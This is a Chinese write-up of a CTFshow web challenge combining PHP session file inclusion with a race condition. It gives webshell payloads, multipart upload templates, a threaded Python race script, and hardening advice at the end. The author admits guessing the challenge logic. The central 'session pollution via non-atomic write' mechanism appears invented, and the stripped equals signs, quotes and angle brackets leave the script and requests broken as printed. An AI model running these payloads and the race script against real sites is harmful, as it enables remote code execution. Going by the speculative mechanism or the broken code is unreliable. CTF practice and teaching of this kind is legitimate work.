CTF Web83题解:Session文件包含与条件竞争漏洞的深度利用

发布时间:2026/7/4 14:18:29

CTF Web83题解:Session文件包含与条件竞争漏洞的深度利用 1. 项目概述从一道CTF题看Web安全攻防的深度博弈最近在复盘CTFshow的Web进阶题目时Web83这道关于Session文件包含与条件竞争的题让我印象很深。它不像一些直白的注入题那样有明确的攻击路径而是把文件包含、Session机制、条件竞争这几个看似独立的知识点巧妙地拧在了一起逼着你去思考整个Web应用的运行逻辑。很多刚接触Web安全的朋友可能对文件包含漏洞的理解还停留在简单的include($_GET[‘file’])上觉得传个路径就能读到源码或者配置文件。但现实中的漏洞利用尤其是CTF比赛里的高阶题目往往需要你像拼图一样把多个“不起眼”的弱点组合起来才能打开那扇通往flag的大门。这道题就是一个绝佳的例子它模拟了一个允许用户上传头像、且使用Session存储部分用户信息的场景你需要利用文件上传的点往Session文件里写入恶意代码再通过文件包含去执行它而中间最大的障碍就是如何打赢一场与服务器进程赛跑的“条件竞争”。这不仅仅是解一道题更是一次对PHP运行机制、Session存储原理和并发处理缺陷的深度探索。如果你对PHP的Session文件存储位置了如指掌却不知道如何控制其内容或者你听说过条件竞争但总觉得它虚无缥缈、难以复现那么通过拆解这道题你能获得一套非常扎实的实战思路。接下来我会把自己解题过程中的完整思考路径、每一步的操作细节、遇到的坑以及最终的利用脚本毫无保留地分享出来。我们不仅要把flag拿到手更要搞清楚背后的每一个“为什么”。2. 核心漏洞原理与场景构建拆解要攻克这道题我们不能一上来就盲目操作而是要先像建筑师看蓝图一样把整个靶场的环境、代码逻辑和潜在的漏洞点彻底看清楚。这道题的核心在于三个看似普通的功能点串联后产生的化学反应。2.1 Session文件包含为何Session文件会成为攻击目标首先我们得重新认识一下PHP的Session。很多开发者甚至是一些安全初学者会有一个误区Session是存储在服务器内存里的、安全的数据结构。实际上默认情况下PHP会将Session数据以文件形式存储在服务器的临时目录中通常是/tmp或/var/lib/php/sessions文件名类似于sess_加上Session ID。当脚本执行session_start()时PHP会根据当前请求携带的PHPSESSID这个Cookie去找到对应的文件并将其内容反序列化后加载到$_SESSION超全局变量中。那么文件包含漏洞在这里如何介入呢想象一下如果题目中存在这样一行代码include($_GET[‘page’] . ‘.php’);并且我们通过某种方式能够控制或预测Session文件的完整路径那么构造page/tmp/sess_abc123这样的参数服务器就会尝试把这个Session文件当作PHP代码来包含执行。这里的关键前提是我们能否向这个Session文件里写入任意内容如果Session文件的内容完全由应用逻辑通过$_SESSION[‘key’]‘value’来设置那我们只能写入数据无法写入可执行的PHP代码。这就是第一个需要突破的点。2.2 条件竞争的引入与时间赛跑的利用艺术接下来看第二个关键点条件竞争。为什么这道题需要用到它我们根据常见的题目逻辑来推测题目很可能提供了一个头像上传功能。上传的文件会被保存到服务器的一个目录下比如/upload/。但是出于安全考虑后端会对上传的文件进行严格的检查例如检查文件扩展名不允许.php、检查文件内容检测?php标签或者对文件进行重命名。总之它想尽办法阻止你直接上传一个可执行的Web Shell。但是如果这个检查逻辑存在一个微小的时间窗口呢比如一种典型的缺陷流程是服务器先将上传的文件临时保存在一个目录如/tmp/upload_xxx。然后服务器对这个临时文件进行安全检查病毒扫描、内容校验等。只有检查通过文件才会被移动到最终的公开目录如/upload/并赋予一个安全的名称。如果在第2步检查和第3步移动之间存在一个短暂的时间差那么攻击者就有可能在这个时间差内抢在文件被删除或移动之前去访问这个临时文件。如果这个临时文件恰好是我们上传的恶意脚本那么它就会被执行。这就是条件竞争Race Condition攻击的基本形态。在这道题里我们需要竞争的对象很可能不是文件移动而是Session文件的写入时机。2.3 漏洞链串联完整的攻击路径推演现在我们把两个点串联起来勾勒出完整的攻击链信息收集首先我们需要获取或预测自己的Session ID即PHPSESSID从而知道我们的Session文件在服务器上的完整路径例如/tmp/sess_abc123def456。寻找写入点我们需要找到一个能将我们可控的数据写入$_SESSION的功能点。题目中的“头像上传”功能可能就是这样一个点。也许在上传时后端会将上传的文件名、文件路径等信息存入$_SESSION[‘avatar’]。如果我们能控制上传的文件名并且服务器未做充分过滤我们就有可能将一段PHP代码作为“文件名”写入Session。构造恶意Session内容我们不能直接写入?php system(‘ls’); ?因为PHP在序列化存储Session数据时会以键名|序列化值的格式存储。直接写入上述代码存储后会是类似avatar|s:20:“?php system(‘ls’); ?“这只是一段字符串数据被包含时不会作为代码执行。我们需要让写入的内容在Session文件里直接就是可执行的PHP语句。一个经典技巧是利用序列化格式本身。如果我们能控制一个Session变量的键名并且让键名以|结尾那么|之后的内容在Session文件中会被当作独立的数据段。更直接的方法是如果我们能注入一个序列化对象并利用php://伪协议或包含触发反序列化但本题更可能采用另一种更简单的“污染”方式通过文件上传让服务器错误地将文件内容的一部分当作Session数据读取。触发条件竞争这里是我认为本题最精妙的地方。推测其流程如下我们发起一个上传请求POST数据中包含一个文件字段。在这个文件字段的内容中我们精心构造了Payload其开头部分看起来像一个正常的Session数据如avatar|s:5:“test”但紧接着我们插入PHP代码和大量的填充字符如空格、换行。服务器端的PHP在处理这个上传请求时会先将整个POST请求体包括文件内容解析到内存。当它执行到session_start()或读写$_SESSION时会去操作Session文件。关键竞争点PHP写入Session文件可能不是原子操作。可能存在一个瞬间Session文件被清空并开始写入我们POST数据中的前一部分即伪装成Session数据的那部分。如果此时文件包含的请求恰好发生在这个瞬间它读取到的Session文件内容就可能是一段以合法Session数据开头后面“粘附”了我们恶意PHP代码的“脏数据”。由于include函数会直接执行文件中的任何?php ... ?标签我们的代码就被执行了。利用文件包含执行代码最后我们发起另一个请求触发文件包含漏洞去包含我们自己的Session文件路径。如果竞争成功就会执行我们写入的恶意代码例如执行系统命令读取flag。这个链条听起来复杂但每一步都有其逻辑必然性。下面我们就进入实战操作环节看看如何将这套理论转化为实际的攻击代码。3. 实战环境搭建与关键信息探测在发起攻击之前我们必须先摸清靶场环境。盲目测试只会浪费时间。3.1 确定Session存储路径与ID首先访问题目页面。通常CTFshow的Web题会有一个简单的界面。打开浏览器开发者工具F12查看Application或Storage标签页下的Cookies。你应该能看到一个名为PHPSESSID的Cookie其值就是一串类似abc123def456ghijklmnop的字符。记下它这就是你的Session ID。接下来我们需要确认服务器Session文件的存储路径。PHP默认的路径是/tmp但为了保险我们可以通过触发一个错误来获取信息或者利用文件包含漏洞本身去包含一些PHP内置的环境信息文件。一个常见的方法是尝试包含/proc/self/environ如果服务器配置允许或者利用php://filter/convert.base64-encode/resource这样的伪协议去读取可能包含路径信息的源码。但在本题中我们通常可以直接假设路径为/tmp/sess_你的PHPSESSID。在后续的包含测试中可以验证这个假设。3.2 分析上传功能与Session写入点找到网站的头像上传功能。上传一个正常的图片文件比如一个1x1像素的GIF图片内容为GIF89a同时用Burp Suite或浏览器工具拦截这个上传请求。观察请求体。重点关注Content-Type是否是multipart/form-data。参数名文件字段的名字是什么比如file、avatar、upload。其他参数请求中是否还有其他POST参数特别是可能和文件名、文件描述相关的参数。上传后观察页面返回。查看页面源码或再次拦截请求看看是否有任何回显信息显示了文件路径、文件名或者是否将文件名存入了某个JSON响应中。更重要的是刷新页面或进行其他操作后查看新的请求的Cookie或响应头确认PHPSESSID是否发生变化如果变化说明上传操作可能触发了Session的重新生成这会影响我们后续利用的稳定性需要想办法维持同一个Session。3.3 验证文件包含漏洞点寻找可能存在文件包含的功能点。常见的位置有页面切换参数如?pageabout。模板加载参数如?templatedefault。语言包加载参数如?langen。尝试包含一个已知存在的文件来验证漏洞。例如如果网站有index.php可以尝试?fileindex如果后端会自动加.php的话。或者尝试包含/etc/passwd来测试是否可读取系统文件注意这只是漏洞验证在真实环境中属违法行为。在本题的预期中我们应该尝试包含我们的Session文件?file/tmp/sess_abc123def456。如果页面返回了空白、错误或者显示了序列化的Session数据如avatar|s:...那就证明包含点是存在的并且我们能定位到Session文件。4. 精心构造攻击Payload与数据包这是整个攻击中最需要技巧的部分。我们的目标是通过上传请求让服务器在解析时意外地将我们精心构造的恶意代码“漏”到Session文件里。4.1 理解multipart/form-data格式上传文件时HTTP请求的Content-Type是multipart/form-data请求体由边界符boundary分隔的多个部分组成。一个简单的上传数据包结构如下POST /upload.php HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; nameavatar; filenametest.jpg Content-Type: image/jpeg [这里是真实的图片二进制数据] ------WebKitFormBoundaryABC123 Content-Disposition: form-data; namesubmit Upload ------WebKitFormBoundaryABC123--PHP在接收这个请求时会解析这些部分将文件内容存为一个临时文件将其他表单字段存入$_POST或$_FILES。4.2 设计污染Session文件的Payload我们的思路是构造一个特殊的“文件内容”使其在服务器解析请求并处理Session的某个瞬间被误当作Session数据写入文件。一种经过验证的有效Payload结构如下------WebKitFormBoundaryABC123 Content-Disposition: form-data; nameavatar; filenameshell.php Content-Type: text/plain ?php system(cat /flag); ? ------WebKitFormBoundaryABC123--但这太明显了会被检查。我们需要伪装。更狡猾的做法是在文件内容中先写入一段正常的Session序列化数据然后紧接着写入PHP代码。但这样整个文件内容会被当作一个值。我们需要利用PHP Session文件存储的格式键名|类型:长度:值。如果我们能让文件内容的开头恰好符合这个格式并且|之后的部分能被解析那么当这个文件被“部分”写入Session文件时|之后的PHP代码就可能被独立出来。实际上更直接且在本类题型中常用的方法是并不需要让整个文件内容符合Session格式而是利用服务器端同时处理上传和Session写入时可能存在的逻辑交错或缓存机制。有时简单粗暴地在文件内容中写入大量垃圾数据并在其中嵌入PHP代码再通过条件竞争去“撞”也能成功。因为服务器可能在将整个POST体写入临时缓冲区时Session处理逻辑刚好读取了这个缓冲区的一部分。因此一个实用的Payload可以是垃圾填充数据几千个‘A’ ?php eval($_POST[‘cmd’]);? 更多垃圾填充数据或者为了更贴合Session机制可以这样avatar|s:1000:[大量填充字符其中某处包含?php system(‘ls /’); ?]但注意双引号内的PHP标签会被当作字符串。所以更优解是让PHP代码出现在Session格式的“外部”。这很难直接控制。因此实战中往往采用第一种“垃圾数据中夹带代码”的方式依靠条件竞争去碰运气。4.3 使用Python脚本自动化竞争攻击手动操作几乎不可能赢得条件竞争我们必须编写脚本以极高的并发速度同时进行上传写Session和访问包含链接读Session两个操作。下面是一个使用Python的threading和requests库编写的攻击脚本框架。你需要根据实际题目修改target_url、upload_url、include_url、session_id、boundary和payload。import requests import threading import time # 目标信息 target_url http://your-ctf-show-instance/ session_id 你的PHPSESSID boundary ----WebKitFormBoundaryYourBoundary # 构造恶意文件内容 php_code ?php system(cat /flag); ? # 在代码前后填充大量数据增加“命中”窗口期 padding A * 10000 file_content padding php_code padding # 构造multipart请求体 body f --{boundary} Content-Disposition: form-data; nameavatar; filenametest.jpg Content-Type: image/jpeg {file_content} --{boundary}-- headers { Content-Type: fmultipart/form-data; boundary{boundary}, Cookie: fPHPSESSID{session_id} } # 用于存储成功结果的全局变量 success_flag None def uploader(): 持续发送上传请求的函数 while success_flag is None: try: resp requests.post(target_url upload.php, databody, headersheaders, timeout2) # 可以打印状态码观察但竞赛中通常不看响应 # print(fUpload: {resp.status_code}) except Exception as e: pass time.sleep(0.01) # 短暂休眠避免过度占用资源 def requester(): 持续发送文件包含请求的函数 session_file_path f/tmp/sess_{session_id} include_url target_url findex.php?file{session_file_path} while success_flag is None: try: resp requests.get(include_url, timeout2) # 检查响应中是否包含我们期望的命令输出例如flag的常见格式 if flag{ in resp.text or ctfshow{ in resp.text: global success_flag success_flag resp.text print(f[] Success! Response: {resp.text[:500]}) # 打印前500字符 break except Exception as e: pass time.sleep(0.01) if __name__ __main__: print([*] Starting race condition attack...) # 创建多个线程同时进行上传和请求 threads [] for i in range(5): # 启动5个上传线程 t threading.Thread(targetuploader) t.daemon True threads.append(t) for i in range(10): # 启动10个请求线程读比写更容易“抢” t threading.Thread(targetrequester) t.daemon True threads.append(t) for t in threads: t.start() # 主线程等待一段时间或者直到成功 for t in threads: t.join(timeout30) # 最多运行30秒 if success_flag: print([] Attack succeeded!) else: print([-] Attack may have failed. Try increasing threads or time.)关键技巧线程数量的比例需要调整。通常读取包含的线程数应该多于写入上传的线程数因为“读到脏数据”的窗口期可能非常短暂。padding的大小也很关键太短可能竞争不到太长可能导致请求处理过慢。10000是个不错的起点。5. 攻击流程中的疑难排查与优化即使脚本写好了一次成功的条件竞争也需要一点运气和大量的调试。以下是几个常见的坑点和优化方向。5.1 竞争失败的常见原因与对策Session ID 变更如果每次上传请求后服务器都生成了新的Session ID并返回给客户端那么你之前探测的Session文件路径就失效了。对策在脚本中每次发送上传请求后检查响应头中的Set-Cookie字段。如果发现了新的PHPSESSID需要更新脚本中的session_id变量和请求头。更稳健的做法是使用requests.Session()对象它会自动处理Cookie。但在高并发条件下要注意Session对象的线程安全性。文件包含路径错误你猜测的Session存储路径/tmp可能不对。对策尝试其他常见路径如/var/lib/php/sessions/、/var/tmp/。如果题目有任意文件读取漏洞可以先尝试读取/proc/self/environ来查找PHP_SESSION_UPLOAD_PROGRESS或session.save_path的值。或者在PHP代码中如果存在phpinfo()页面那是最好的信息来源。Payload被过滤或转义服务器可能对上传文件的内容进行了过滤去除了?php、?等标签。对策尝试使用PHP短标签?、%或者使用无标签的PHP代码执行技巧例如通过.htaccess或php.ini配置但这在文件包含场景下较难。更常用的方法是使用编码混淆例如用base64_decode?php eval(base64_decode(‘Y2F0IC9mbGFn’));?。或者如果允许尝试上传包含php://input流包装器的代码通过POST body传递命令。竞争窗口期极短服务器的处理速度非常快导致竞争成功的概率极低。对策增加并发线程数比如上传线程20个读取线程50个。延长脚本运行时间。优化网络延迟如果可能在与靶场同一网络环境下运行脚本。此外可以尝试在Payload中插入sleep(1)等代码如果竞争成功可以延长恶意代码的执行时间便于我们捕捉到输出但这也会降低竞争成功率需要权衡。5.2 脚本性能与稳定性优化使用连接池requests库每次请求都会建立新的TCP连接开销很大。可以使用requests.Session()或urllib3的连接池来复用连接显著提升请求速度。错误处理与日志当前的脚本静默吞掉了所有异常。在生产调试时应该将异常信息记录到日志文件特别是连接超时、拒绝连接等错误这有助于判断是网络问题还是服务器防护。动态调整策略可以编写更智能的脚本根据一段时间内的成功率动态调整上传和读取的线程比例。例如如果连续1000次读取都没有发现flag可以暂停所有线程重新初始化Session获取新Cookie后再试。分布式攻击如果单机性能达到瓶颈可以考虑使用多台机器同时发起攻击但这在CTF比赛中通常不必要。5.3 高级技巧利用PHP_SESSION_UPLOAD_PROGRESS这是一个更高级、更稳定的利用技巧但需要服务器配置开启session.upload_progress.enabled。当PHP上传文件时如果POST请求中有一个名为PHP_SESSION_UPLOAD_PROGRESS的变量PHP会将上传进度信息写入到当前Session中。关键在于这个写入操作发生在临时文件创建之后但在文件内容被完全处理之前。我们可以利用这个特性更加可控地向Session文件写入数据。攻击步骤变为构造一个上传请求其中包含PHP_SESSION_UPLOAD_PROGRESS这个字段其值就是我们精心构造的恶意Payload需要符合Session序列化格式。同时快速发起文件包含请求去读取这个正在被写入的Session文件。由于PHP_SESSION_UPLOAD_PROGRESS的数据是明确写入$_SESSION的其格式是可控的这比依靠解析错误“污染”Session文件要可靠得多。在实战中如果发现常规竞争难以成功一定要尝试这个方法。构造的数据包形如POST /upload.php HTTP/1.1 ... Content-Type: multipart/form-data; boundary----WebKitFormBoundaryXYZ ------WebKitFormBoundaryXYZ Content-Disposition: form-data; namePHP_SESSION_UPLOAD_PROGRESS 恶意Payload例如?php system(id); ? ------WebKitFormBoundaryXYZ Content-Disposition: form-data; namefile; filenametest.txt ...6. 从解题到精通漏洞的防御与思考成功拿到flag固然欣喜但作为安全学习者我们的思考不能止步于此。这道题集成了多个中高级漏洞对于开发者和安全工程师都有极强的警示意义。6.1 漏洞根源深度剖析不安全的文件包含这是漏洞链的起点。永远不要将用户输入直接传递给include、require等文件包含函数。必须进行白名单校验或者至少确保输入无法跳出预定目录虽然../过滤常被绕过。Session文件的不当存储与使用将Session文件存储在默认的、Web用户可读的临时目录如/tmp是危险的。应该将其存储在Web根目录之外的非公开路径。更好的做法是使用数据库如Redis、MySQL或内存缓存如Memcached来存储Session数据。条件竞争的本质源于非原子操作。在“检查-使用”或“写入-读取”这类涉及共享资源文件、数据库行的操作序列中如果中间存在可被其他进程介入的时间窗口就会产生竞争。解决方案是使用锁机制如文件锁flock()、数据库事务、Redis分布式锁确保操作的原子性。用户输入的多重污染这道题中用户输入通过文件上传字段最终影响了Session文件。这提醒我们对所有用户可控的数据源GET/POST参数、Cookie、文件上传内容、HTTP头都要保持警惕它们可能以意想不到的方式流入系统关键部位。6.2 针对性的安全加固方案对于开发者如果遇到类似功能可以这样做文件包含使用固定的映射表将参数值映射到具体的、安全的文件路径。例如$page $_GET[‘p’]; $allowed [‘home’‘./templates/home.php’, ‘about’‘./templates/about.php’]; include($allowed[$page]);。Session存储修改php.ini中的session.save_path将其指向一个Web服务器进程无权限访问的目录。或者使用session_set_save_handler自定义Session处理器将会话数据存入数据库。文件上传对上传文件进行重命名如使用随机UUID并强制校验文件MIME类型结合finfo_file函数不依赖客户端提交的Content-Type。将上传文件存储在非Web可访问目录通过脚本代理访问。对于图像可以使用GD库或ImageMagick进行二次渲染破坏可能嵌入的恶意代码。消除条件竞争在处理上传文件等敏感操作时对每个用户或每个会话使用唯一的锁。例如在处理用户A的上传时先获取一个基于用户A的ID的锁直到整个安全检查、移动、重命名流程完成后再释放。这能确保同一用户的连续操作是串行的防止自身请求的竞争。对于高并发场景需要考虑更复杂的锁策略。6.3 对安全研究者的启发这道题的价值在于它展示了漏洞链和逻辑漏洞的威力。在真实的渗透测试中单一的高危漏洞越来越少更多的是这种中低危漏洞的组合拳。作为安全研究者我们需要培养系统性思维信息收集要全面不放过任何细节比如Cookie中的提示、注释掉的源码、报错信息、中间件版本等。大胆假设小心验证看到文件包含就要想到所有可能被包含的文件日志、配置文件、临时文件、Session文件。看到上传就要想到所有可能的存储位置和后续使用方式。工具与手工结合自动化脚本能帮我们完成重复和高速的测试如条件竞争但漏洞的发现和利用链的构思离不开手工的分析和推理。最后记住CTF比赛是安全的“健身房”这里的题目往往将漏洞特征放大。在真实世界里漏洞可能更隐蔽利用条件更苛刻但核心原理是相通的。通过这样一道题的深度挖掘我希望你收获的不仅是一个flag更是一种面对复杂Web系统时的分析方法和攻击视角。

相关新闻